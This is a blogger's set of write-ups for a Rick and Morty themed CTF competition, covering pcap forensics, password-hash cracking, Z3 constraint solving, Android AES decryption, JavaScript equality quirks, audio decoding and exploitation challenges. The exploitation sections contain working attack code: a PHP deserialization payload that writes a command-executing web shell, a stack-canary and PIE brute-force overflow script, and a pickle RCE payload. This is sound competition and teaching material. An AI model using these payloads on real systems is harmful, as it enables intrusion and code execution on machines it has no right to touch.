year I could't make it in to the top 10. This year though I wanted to change that! Read until the end to see what happened.
In this blog post my main purpose is to explain my thought process and really reflect towards my performance this year!
Let's get started!
In Forensics I was able to solve 2 challenges
CCSC We were given a ".pcapng" file. Opening it up we could see windows AD traffic. Looking around I spotted an assets/ image file containing most of the flag except the last part:
Carefully inspecting the image we can see that the last part must have something todo with the kerberos symbols lying around in the image. Hence going back to the traffic we can see that the user "Morty" is trying to authenticate to the domain "ricklantis.local". The 2nd part of the flag is the password of the user "Morty". Using NetworkMiner to extract the hash:
Using john to crack the hash:
Combining the 2 parts of the flag we get the flag
Description:
The Citadel came under the authoritarian rule of President Morty (Evil Morty) who, after being elected President of The Citadel, committed a series of unprecedented purges against the de facto ruling Shadow Council and other personal political enemies. His number one enemy, Rick now lives in a dimension unknown even to his grandson Morty. Mr. Meeseeks which was summoned by Morty, intercepted some network traffic between the Ricks on the run. Can you help Mr.Meeseeks complete his task and Morty to find his grandpa?
We were given "portal.pcap", reading through it it contained a lot of HTTP POST requests with data="..." all the requests would have some amount of dots
Hence I decided to do some analysis of the length of the data
Using python to extract the data and the length of the data:
import scapy.all as scapy
pcap = scapy.rdpcap('portal.pcapng')
chrData = ""
# sort the packets with time
for packet in sorted(pcap, key=lambda x: x.time):
# check if packet is an http post
if packet.haslayer(scapy.Raw):
# get the http data
http_data = str(packet[scapy.Raw].load)
# check if the http data is a post request
if "POST / HTTP/1.1" in http_data:
content = http_data.split("data=")[1].replace("'","")
print(content)
content_len = len(content)
print(content_len)
chrData += chr(content_len)
print(chrData)
Analysing the output we can see that the first 2 lens when casted to chars will output ">", having in mind that the flag format is CCSC{.*} we can see that we are 5 characters away from C. Then it clicked we should actually retrieve "Content-Length" not only the dots in the data. Hence I modified the script to retrieve the "Content-Length" and the dots in the data.
import scapy.all as scapy
pcap = scapy.rdpcap('portal.pcapng')
chrData = ""
# sort the packets with time
for packet in sorted(pcap, key=lambda x: x.time):
# check if packet is an http post
if packet.haslayer(scapy.Raw):
# get the http data
http_data = str(packet[scapy.Raw].load)
# check if the http data is a post request
if "POST / HTTP/1.1" in http_data:
content_length = int(http_data.split("Content-Length: ")[1].split("\\r\\n")[0])
chrData += chr(content_length)
print(chrData)
Running the above scripts outputs the flag
Both scripts are hosted on replit if you want to run them or have a closer look:
Description:
Crap Morty... The portal gun is still broken. You need to fix it Morty BURPPP. FIX IT!!! It acts weirdly. Grandpa has no time for this. Fix the circuit-board till I'm back Morty.
We were given a service to connect to, after connecting, the below message was displayed:
As we can see the service outputs some weird mathematical expressions(constraints to a number) and we need to solve for them. Then hinted, from the title Z3 should be used. Below is the script I used to solve the constraints:
from pwn import *
from z3 import *
import re
# solve for an x array
io = connect('192.168.125.11',1235)
io.recvuntil('Are you ready [Y or N]?\n')
io.sendline('Y')
# the equations look like this:
# -49*x__0 + -93*x__1 + 69*x__2 + -24*x__3 + 66*x__4 >= 92
# -42*x__0 + -8*x__1 + -69*x__2 + 91*x__3 + 62*x__4 <= 48
# 11*x__0 + 63*x__1 + 49*x__2 + -69*x__3 + -80*x__4 >= 32
# -42*x__0 + -4*x__1 + -56*x__2 + -66*x__3 + 27*x__4 <= 30
# 57*x__0 + -92*x__1 + -38*x__2 + 50*x__3 + -94*x__4 >= 6
# formated
# -90*x[0] - 54*x[1] - 18*x[2] + 95*x[3] + 10*x[4] - 94*x[5] - 21*x[6] - 91*x[7] >=69
# 6*x[0] - 82*x[1] - 71*x[2] - 57*x[3] - 92*x[4] - 4*x[5] + 52*x[6] + 52*x[7] <=82
# -46*x[0] - 88*x[1] + 41*x[2] + 2*x[3] - 49*x[4] - 76*x[5] + 38*x[6] - 29*x[7] <=3
# 96*x[0] + 51*x[1] + 70*x[2] - 56*x[3] + 39*x[4] - 89*x[5] - 52*x[6] + 47*x[7] <=7
# 43*x[0] + 84*x[1] - 41*x[2] - 79*x[3] - 49*x[4] - 57*x[6] - 49*x[7] >=31
# -17*x[0] - 4*x[1] - 27*x[2] - 25*x[3] - 42*x[4] + 64*x[5] - 48*x[6] + 79*x[7] >=94
# 91*x[0] + 70*x[1] - 5*x[2] + 4*x[3] + 78*x[4] + 43*x[5] + 26*x[6] + 96*x[7] <=93
# -13*x[0] + 25*x[1] + 99*x[2] - 76*x[3] + 15*x[4] - 37*x[5] + 6*x[6] + 83*x[7] <=58
corrected_items = ""
blacklist = ['+','-','*','=','>','<','(',')',' ']
while(True):
converted_equations = []
try:
equations = io.recvuntil(b'Answer: ').decode().split('\n')[:-1]
except EOFError:
# we got the flag!!!
print(str(equations))
size_of_xarray = int(equations[0].split('__')[-1][0]) + 1
x = [Int('x%d' % i) for i in range(size_of_xarray)]
s = Solver()
for line in equations:
corrected_items = ""
fixed_line = ""
replaced_line = line.replace('__','[').split(" ")
for item in replaced_line:
if item and item not in blacklist and '=' not in item:
item += "] "
corrected_items += item + " "
if item.strip().endswith(']'):
fixed_line = ''.join(corrected_items.rsplit("]", 1)[0])
else:
fixed_line = ''.join(corrected_items)
try:
s.add(eval(fixed_line))
except Exception as e:
print(e)
input()
continue
converted_equations.append(fixed_line)
if s.check() == unsat:
print("unsat equations:")
print('\n'.join(equations))
time.sleep(1)
answers = s.model()
answer = []
for sol in x:
answer.append(answers[sol])
the_final_solution = ' '.join(map(str, answer))
print(the_final_solution)
io.sendline(the_final_solution)
Description:
Apparently Jerry doesn't know how to read the warnings! Do you ?
The solution below was not the intended solution, but in my opinion if the flag is on the binary, it can always be retried, one way or the other.
The binary is a simple android app, so we need to decompile it. I used jadx-gui for that. The app is very simple it just asks for a password to retrieve the flag
Looking around the application I found these 2 piculiar strings. Looking a bit further we can see that they are AES decrypted, to retrieve the flag.
The whole thing is written in java and playing around with python I couldn't simulate the behavior, hence fighting fire with fire. I wrote a small decryptor in java
//sh -c javac -classpath .:target/dependency/* -d . $(find . -type f -name '*.java')
import java.io.PrintStream;
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Main {
public static SecretKeySpec f4524a;
public static byte[] f4525b;
public static String s1 = "ZtSlhiP5jp2bLCZ6UO0AkA==";
public static String s2 = "p3s6v9y$B&E)[email protected]!z%C";
public static String s3 = "j6/av/qX3G4LTVmx121Ecw==";
public static String s4 = "UkXp2s5v8y/B?E(H+MbQeShVmYq3t6w9";
public static String m94a(String str, String str2) {
try {
m93b(str2);
Cipher instance = Cipher.getInstance("AES/ECB/PKCS5PADDING");
instance.init(2, f4524a);
return new String(instance.doFinal(Base64.getDecoder().decode(str)));
} catch (Exception e) {
PrintStream printStream = System.out;
printStream.println(e.toString());
return null;
}
}
public static void m93b(String str) {
try {
f4525b = str.getBytes("UTF-8");
byte[] digest = MessageDigest.getInstance("SHA-1").digest(f4525b);
f4525b = digest;
f4525b = Arrays.copyOf(digest, 16);
f4524a = new SecretKeySpec(f4525b, "AES");
} catch (UnsupportedEncodingException | NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
public static void main(String[] args)
{
String flag = m94a(s1,s2) + m94a(s3,s4);
System.out.println(flag);
}
Description:
Do you have what it takes to navigate through the wormholes and penetrate Planet TC-39?
Planet TC-39 is a simple web challenge, the source code is provided and there are two endpoints planet-TC39-1 and planet-TC39-2.
Endpoint 1:
if (a !== b) {
res.send(nope);
return;
}
if (1 / a === 1 / b) {
res.send(nope);
return;
}
res.send(process.env.FLAG_1 || "No way. Contact an admin.");
The above code snippet checks if a is not equal to b and 1/a is equal 1/b
Immidietly this shows, that we are looking for some kind of js trick, because any two numbers can't have this relation.
I had never seen something similar in the past, hence I started expiriementing with inputs, in my browsers console.
If the two variables are the same strings check1: a !== b is false, cause they are the same, check2: 1/"a" === 1/"a" is false, because for some reason in JS Nan is not equal to Nan(makes so much sense right;p?)
Endpoint 2:
if (!Number.isSafeInteger(a)) {
res.send(nope);
return;
}
if (!Number.isSafeInteger(b)) {
res.send(nope);
return;
}
if (a !== b) {
res.send(nope);
return;
}
if (1 / a === 1 / b) {
res.send(nope);
return;
}
res.send(process.env.FLAG_2 || "No way. Contact an admin.");
So according to check2 we are looking for 2 numbers which are considered "safe" integers, they have to be equal with each other but 1/the_number, must be different, which again is not a relation, to numbers will normally have.
The above limited, my testing space by a lot
After a while I found out, that 0 and -0 are equal but 1 over them is Infinity and -Infinity respectively.
Description:
If you want something with your heart, then the Univese will give it to you. In the meantime, can you help Morty to escape from the jail?
Viewing the webapp we can see a weird landing page. After dirbusting, we can find a "backup.php"
Viewing that, we can find a "s3r1al1z3.php"
Viewing that, we can see that there are a lot of references to the word universe in the text. Hence dirbusting, with universe, we can see a "universe.txt", displaying a php source code, probably for "s3r1al1z3.php"
<?php
class File {
public $filename = 'flag.txt';
public $content = 'Try harder';
public function __destruct()
{
file_put_contents($this->filename,$this->content);
}
}
//$o = unserialize($_GET['uxxxxxxe']);
?>
From the above, we can now be sure that there is a php deserialization vulnerability, and we are allowed to write files by creating a new object. Hence we can create:
<?php
$o = new File();
$o->filename = "shell.php";
$o->content = '<?php echo system($_GET[\'cmd\']); ?>';
echo serialize($o);
?>
Running the above, allows us to create a shell, that we can invoke and get rce, cat the flag from the users home directory.
Description:
Rick likes to fork. Show him why it's not the best idea.
We are given the source code, for this one so we can, search for vulnerabilities, without needing to reverse the binary.
void secret() {
FILE *fp;
char buf[FLAG_MAX_SIZE] = "";
printf("You found the secret!\n");
fp = fopen("flag.txt","r");
fread(buf, sizeof(char), FLAG_MAX_SIZE, fp);
fclose(fp);
printf("%s\n", buf);
}
int vuln() {
char buf[BUF_SIZE];
printf("Please provide an input\n");
read(0, buf, BUF_SIZE*sizeof(char*));
printf("ok\n");
return 0;
}
int main()
{
int pid = 0;
char* input;
int status = 0;
// disable buffering
setbuf(stdout, 0);
printf("This software was designed so that it survives crashes\n");
printf("Should I make you a fork?\n");
while (1) {
gets(input);
printf("I'll make you one anyway :p\n");
if ((pid = fork()) < 0) {
// Handle fork error
printf("Failed to fork\n");
}
else if (pid == 0) {
// Child process
vuln();
return 0;
}
else {
// Parent process
wait(&status);
printf("xxx\n");
if (status != 0) {
printf("feeew... This could have crashed the entire process\n");
printf("Good thing we have this super robust mechanism\n");
}
printf("Should I make you another fork?\n");
}
}
printf("How did you get here??!\n");
secret();
return 0;
}
From the hint in the title, the description, we can understand, that the vulnerability has something to do with forking
Doing some research about forking vulnerabilities in c binaries and pwnables, we can find this article:
https://ctf101.org/binary-exploitation/stack-canaries/
From the above, we understand , that if we want to overwrite, tha stack (and gain control of the programs flow), we need to bruteforce the stack canary and the reason we can bruteforce that canary token, is that the proccess is forked, hence keeps the same stack canary throughout.
Then in order to find the address of "secret()", as PIE is enabled, well guess what? More bruteforcing...!
I ended up with the below scripts, which does this automatically, and prints the flag.
#!/usr/bin/python3
# Writeup by Evangelospro
from pwnscripts import * #pip install pwnscripts
from pathlib import Path
from tqdm import tqdm
# context.log_level = "debug"
dir_path = str(Path(__file__).parent)
patch = None
if patch is not None:
subprocess.call(f"/home/evangelospro/.local/bin/pwninit --no-template --bin pwn", shell=True)
binary_path = dir_path + f"/pwn_patched"
else:
binary_path = dir_path + f"/pwn"
elf = context.binary = ELF(binary_path, checksec=True)
try:
host = '192.168.125.11'
port = '4337'
except NameError:
host = "None"
Port = "None"
def pwn_ssh():
user = input("ssh user:")
password = input("ssh password: ")
return ssh(user=user, host=host, port=port, password=password)
def pwn_remote():
return remote(host, port)
def pwn_gdb():
gdbscript = '''
init-pwndbg
continue
'''
return gdb.debug(elf.path, gdbscript)
def pwn_local():
return process(elf.path, cwd=dir_path)
def debug(interaction):
print(interaction)
if interaction == "i":
hook(locals())
elif interaction == "p":
io.interactive()
def hook(l=None):
if l:
locals().update(l)
import IPython
IPython.embed(banner1='', confirm_exit=False)
exit(0)
# Find offset to EIP/RIP for buffer overflows
def find_xip(payload, arch):
print(arch)
# Launch process and send the payload
io = process(elf.path)
io.recv()
io.sendline(payload)
# Wait for the process to crash
io.wait()
# Print out the address of EIP/RIP at the time of crashing
if "i386" in arch:
xip_offset = cyclic_find(io.corefile.pc) # x86
elif "64" in arch:
xip_offset = cyclic_find(io.corefile.read(io.corefile.sp, 4)) # x64
info('The EIP/RIP offset is ')
success(str(xip_offset))
return int(xip_offset)
def start():
if args.R:
return pwn_remote()
elif args.S:
return pwn_ssh()
elif args.L:
return pwn_local()
elif args.GDB:
return pwn_gdb()
if args.R or args.S or args.L:
analysis = "static"
io = start()
offset = 40
canary = []
# Brute force 8 bytes
for n in range(1,9):
# Brute force each bytes from 0 to 0xff
for i in tqdm(range(0,0x100), f"Bruteforcing byte{n} of the canary"):
payload = b'A'*offset
# Add previous canary byte if exist
payload += b''.join(p8(i) for i in canary)
payload += p8(i)
io.sendlineafter("?\n", "junk")
io.sendafter('input\n', payload)
data = io.recvuntil("Should I make you another fork")
#info(f"Byte{n}: {i} {payload} {data}")
if (b'crashed' not in data):
canary.append(i)
break
if(len(canary) != n):
warning("Canary not found")
exit(0)
else:
canary_bytes = b''.join(p8(i) for i in canary)
success(f"Canary byte{n} found: {canary_bytes}")
success(f"Full canary found: {canary_bytes}")
# bruteforce the last two bytes of secret
payload = ""
flag = ""
for j in tqdm(range(0,0x10), "Bruteforcing the address of secret"):
secret = p16(0x269 + (j << 12))
fake_sfp = b'\0'*8
final_payload = offset * b'A' + canary_bytes + fake_sfp + secret
print(final_payload)
io.sendlineafter("?\n", "junk")
io.sendafter("input\n", final_payload)
response = io.recvuntil("\n")
print(response)
flag = io.recvuntil("}", timeout=2)
if flag:
flag = flag.split("]n")[1]
success(f"Flag: {flag.split(b'\\n')[1]}")
break
else:
print(f"Secret isn't at {secret}")
debug(input("Interact with the process? (ipython/pwntools): "))
elif args.GDB:
analysis = "gdb"
padding = find_xip(cyclic(250), elf.get_machine_arch())
io = start()
else:
print("Please select an argument from [REMOTE(R), LOCAL(L), SSH(S), GDB(GDB)]")
quit()
Description:
I think they are trying to communicate with us.
We were given a sound file "ufo.mp3"
I immidietly opened it in sonic and listened to it. It is apparently a rick and morty song. I scrolled until the end and found a kind of pattern of sound
It all looked like a high and a low, I converted those highs and lows to 1 and 0 and got a binary string
Then I converted the binary string to ascii and got the flag
bits = "0100001101000011010100110100001101111011011100100110100101110010011010010110001101101011001001100110110101101111011011010110111101110010011101000111100101111101"
# convert bits to ascii
ascii = ""
for i in range(0, len(bits), 8):
ascii += chr(int(bits[i:i+8], 2))
print(ascii)
Description:
It's Pickle Riiiick! Morty *burp* look at me! Not only am I a pickle, I can play golf at the same time!
This is what I was up against:
We are given the source code, from which it is obvious that there is a pickle deserialization vulnerability(you can't make a rick and morty CTF without one). The only problem is that it has to be under 23 characters to pass through
import base64
import pickletools
from pickleast import *
# pickled = dumps(System(command))
# pickled = dumps(System("nl *"))
pickled = dumps(System("nl *"), protocol=0) # protocol 0 is all the money
pickled = pickletools.optimize(pickled)
# fully optimized pickle size
print(pickletools.dis(pickled))
print(pickled)
b64encodedPickle = base64.b64encode(pickled)
print(b64encodedPickle)
print(len(pickled))
open('payload.txt', 'wb').write(b64encodedPickle)
I ended up solving this usint the above code, which optimizes the size and uses protocol "0"
Description:
Morty, you're not gonna regret it. The payoff is huge. . . . I turned myself into a cube, Morty! BOOM! Big reveal! I'm a cube! What do you think about that? I turned myself into a cube! W-w-what are you just staring at me for, bro, I turned myself into a cube, Morty. I'M A CUBE! I'M CUBIK RIIIIIICK!
Connecting to the challenge service we get the following:
It is a rubik's cube but it has letters on it. Hence we can assume that if solved for the colors, the letters will spell out a flag. This was 100% intended to be solved programatically, but I ended up doing it manually on a normal, cube just for the fun of it
When the cube is solved, reading from the yellow to the white side we can decipher the flag:
Overall, this was a great CTF. I had a lot of fun solving the challenges, learned a lot and ECSC was an amazing experience. I would really like to thank CYberMouflons as the organizers for creating such an amazing CTF. I really hope I can manage to qualify next year to repeat this amazing experience. I hope you enjoyed reading this writeups and I hope you learned something from it. If you have any questions, feel free to contact me
All the problems can be found on the github repo. Check it out and attempt some of the problems